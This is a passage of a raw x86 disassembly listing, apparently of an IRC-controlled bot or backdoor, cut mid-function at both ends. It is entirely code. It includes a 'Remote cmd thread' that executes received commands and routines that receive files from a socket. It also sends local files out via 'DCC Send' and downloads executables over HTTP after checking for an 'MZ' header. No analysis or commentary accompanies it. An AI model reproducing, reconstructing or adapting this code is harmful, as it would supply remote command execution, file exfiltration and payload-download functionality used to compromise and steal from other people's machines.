[ebp+arg_4], 0 jnz short loc_401D8B jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call dword_4171D0 jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset sub_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo var_614 = qword ptr -614h var_60C = qword ptr -60Ch var_604 = dword ptr -604h var_600 = dword ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = dword ptr -5E8h var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5BB = byte ptr -5BBh var_4B7 = byte ptr -4B7h var_3B7 = byte ptr -3B7h var_3AD = byte ptr -3ADh var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 604h push 3D6h push [ebp+arg_0] lea eax, [ebp+var_5E0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_5BB] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_5BB] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_5E4], eax cmp [ebp+var_5E4], 0 jnz short loc_401EA3 push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: sub_401E38+56j push 2710h push 0 lea eax, [ebp+var_3B7] push eax lea eax, [ebp+var_4B7] push eax call sub_4050EA add esp, 10h mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_401EEE push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: sub_401E38+95j lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax mov eax, [ebp+var_5E0] push dword ptr [eax] push offset dword_418280 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_5E8], eax and [ebp+var_204], 0 loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j push 0 push 200h lea eax, [ebp+var_200] push eax push [ebp+var_208] call dword_417248 ; recv mov [ebp+var_5F0], eax cmp [ebp+var_5F0], 0 jz short loc_401F5F cmp [ebp+var_5F0], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: sub_401E38+119j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: sub_401E38+125j mov eax, [ebp+var_204] add eax, [ebp+var_5F0] mov [ebp+var_204], eax push [ebp+var_204] call dword_41724C ; htonl mov [ebp+var_5F4], eax push 4 lea eax, [ebp+var_5F4] push eax push [ebp+var_208] call sub_4053BF add esp, 0Ch push [ebp+var_5E4] push [ebp+var_5F0] push 1 lea eax, [ebp+var_200] push eax call sub_416B7C ; fwrite add esp, 10h cmp [ebp+var_5F0], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: sub_401E38+18Bj mov eax, [ebp+var_5E0] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: sub_401E38+199j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj ; sub_401E38+18Dj push [ebp+var_5E4] call sub_416B76 ; ftell pop ecx mov [ebp+var_5EC], eax call sub_416B64 ; clock cmp [ebp+var_5E8], eax jnz short loc_402008 call sub_416B64 ; clock dec eax mov [ebp+var_5E8], eax loc_402008: ; CODE XREF: sub_401E38+1C2j mov eax, [ebp+var_5EC] cdq mov ecx, 400h idiv ecx mov [ebp+var_5F8], eax fild [ebp+var_5F8] fstp [ebp+var_5FC] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_600], eax fild [ebp+var_600] fdiv flt_417270 fdivr [ebp+var_5FC] push ecx push ecx fstp [esp+60Ch+var_60C] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_604], eax fild [ebp+var_604] fdiv flt_417270 push ecx push ecx fstp [esp+614h+var_614] lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax push offset dword_418234 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_208] call sub_40538D pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_401E38+19Bj jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: sub_401E38+66j ; sub_401E38+B1j ... leave retn 4 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co var_A2C = qword ptr -0A2Ch var_A24 = qword ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = byte ptr -0A04h var_9FC = dword ptr -9FCh var_9F8 = dword ptr -9F8h var_9F4 = dword ptr -9F4h var_9F0 = byte ptr -9F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_8BF = byte ptr -8BFh var_8BE = byte ptr -8BEh var_7BB = byte ptr -7BBh var_618 = dword ptr -618h var_614 = byte ptr -614h var_210 = byte ptr -210h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push [ebp+arg_0] lea eax, [ebp+var_8E4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_8BF] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_9F8], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej mov eax, [ebp+var_9F8] dec eax mov [ebp+var_9F8], eax loc_40210D: ; CODE XREF: sub_4020C2+3Cj cmp [ebp+var_9F8], 0 jnz short loc_40212D lea eax, [ebp+var_8BF] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: sub_4020C2+52j mov eax, [ebp+var_9F8] movsx eax, [ebp+eax+var_8BF] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp+var_9F8] lea eax, [ebp+eax+var_8BE] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: sub_4020C2+7Cj jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: sub_4020C2+69j ; sub_4020C2+9Aj mov [ebp+var_8E8], 10h lea eax, [ebp+var_8E8] push eax lea eax, [ebp+var_10] push eax call sub_40CF25 push eax call dword_417240 ; getsockname push 2 push 0 push 0 push 401h lea eax, [ebp+var_614] push eax push [ebp+var_8E8] lea eax, [ebp+var_10] push eax call dword_41DE58 ; getnameinfo test eax, eax jz short loc_4021BA push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_4020C2+E3j push 0Ah lea eax, [ebp+var_A04] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp+var_A04] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_9FC], eax cmp [ebp+var_9FC], 0 jnz short loc_40220F push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: sub_4020C2+138j push offset aRb ; "rb" lea eax, [ebp+var_8BF] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8EC], eax cmp [ebp+var_8EC], 0 jnz short loc_402250 push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: sub_4020C2+16Dj push 2 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_8EC] call sub_416B76 ; ftell pop ecx mov [ebp+var_A08], eax push 0 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch lea eax, [ebp+var_614] push eax lea eax, [ebp+var_9F0] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp+var_8E0] push eax call sub_40D420 add esp, 10h push [ebp+var_A08] lea eax, [ebp+var_A04] push eax lea eax, [ebp+var_614] push eax call dword_417244 ; inet_addr push eax call dword_41724C ; htonl push eax lea eax, [ebp+var_9F0] push eax push offset dword_418348 lea eax, [ebp+var_8E0] push eax call sub_40D4AB add esp, 18h push 0EA60h push [ebp+var_9FC] call sub_4048EF pop ecx pop ecx mov [ebp+var_618], eax cmp [ebp+var_618], 0 jz short loc_40230F cmp [ebp+var_618], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: sub_4020C2+242j push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_4020C2+24Bj lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax mov eax, [ebp+var_8E4] push dword ptr [eax] push offset dword_418320 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_9F4], eax loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj push [ebp+var_8EC] push 200h push 1 lea eax, [ebp+var_210] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_A0C], eax cmp [ebp+var_A0C], 0 jz short loc_4023A6 cmp [ebp+var_A0C], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: sub_4020C2+2D6j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: sub_4020C2+2E2j push [ebp+var_A0C] lea eax, [ebp+var_210] push eax push [ebp+var_618] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182F4 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: sub_4020C2+303j cmp [ebp+var_A0C], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: sub_4020C2+336j mov eax, [ebp+var_8E4] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4020C2+344j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j ; sub_4020C2+338j call sub_416B64 ; clock cmp [ebp+var_9F4], eax jnz short loc_40242B call sub_416B64 ; clock dec eax mov [ebp+var_9F4], eax loc_40242B: ; CODE XREF: sub_4020C2+35Bj mov eax, [ebp+var_A08] cdq mov ecx, 400h idiv ecx mov [ebp+var_A10], eax fild [ebp+var_A10] fstp [ebp+var_A14] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A18], eax fild [ebp+var_A18] fdiv flt_417270 fdivr [ebp+var_A14] push ecx push ecx fstp [esp+0A24h+var_A24] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A1C], eax fild [ebp+var_A1C] fdiv flt_417270 push ecx push ecx fstp [esp+0A2Ch+var_A2C] lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182B0 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj ; sub_4020C2:loc_4024EDj push [ebp+var_618] call sub_40538D pop ecx push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: sub_4020C2+346j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: sub_4020C2+327j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: sub_4020C2+F3j ; sub_4020C2+148j ... leave retn 4 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 ; strncpy add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset sub_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset sub_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: sub_402A32+5C9p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call dword_4170AC ; DeleteFileA xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: sub_402A32+625p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: sub_402A32+673p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A32 proc near ; DATA XREF: sub_403260+BCo var_814 = qword ptr -814h var_804 = qword ptr -804h var_7FC = dword ptr -7FCh var_7F8 = qword ptr -7F8h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_6D5 = byte ptr -6D5h var_6D4 = byte ptr -6D4h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = byte ptr -6BCh var_6BB = byte ptr -6BBh var_63C = dword ptr -63Ch var_638 = byte ptr -638h var_637 = byte ptr -637h var_632 = byte ptr -632h var_631 = byte ptr -631h var_534 = byte ptr -534h var_430 = byte ptr -430h var_2A8 = byte ptr -2A8h var_2A7 = byte ptr -2A7h var_2A6 = byte ptr -2A6h var_2A3 = byte ptr -2A3h var_296 = byte ptr -296h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = byte ptr -284h var_283 = byte ptr -283h var_204 = byte ptr -204h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_63C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_638] push eax lea eax, [ebp+var_7DC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_288], 0 mov [ebp+var_28C], 1 and [ebp+var_6CC], 0 mov al, byte_41DE00 mov [ebp+var_284], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_283] rep stosd stosw stosb mov al, byte_41DE00 mov [ebp+var_6BC], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_6BB] rep stosd stosw stosb and [ebp+var_6C8], 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 14h push 7 push offset dword_4185C4 lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_631] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_402B8E call dword_417064 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_402B58 lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41858C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_402A32+FFj lea eax, [ebp+var_631] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41855C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: sub_402A32+124j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: sub_402A32+F4j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: sub_402A32+D6j lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402BB5: ; CODE XREF: sub_402A32+174j cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 3Ah jnz loc_402CD8 mov [ebp+var_7E0], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j mov eax, [ebp+var_7E0] inc eax mov [ebp+var_7E0], eax 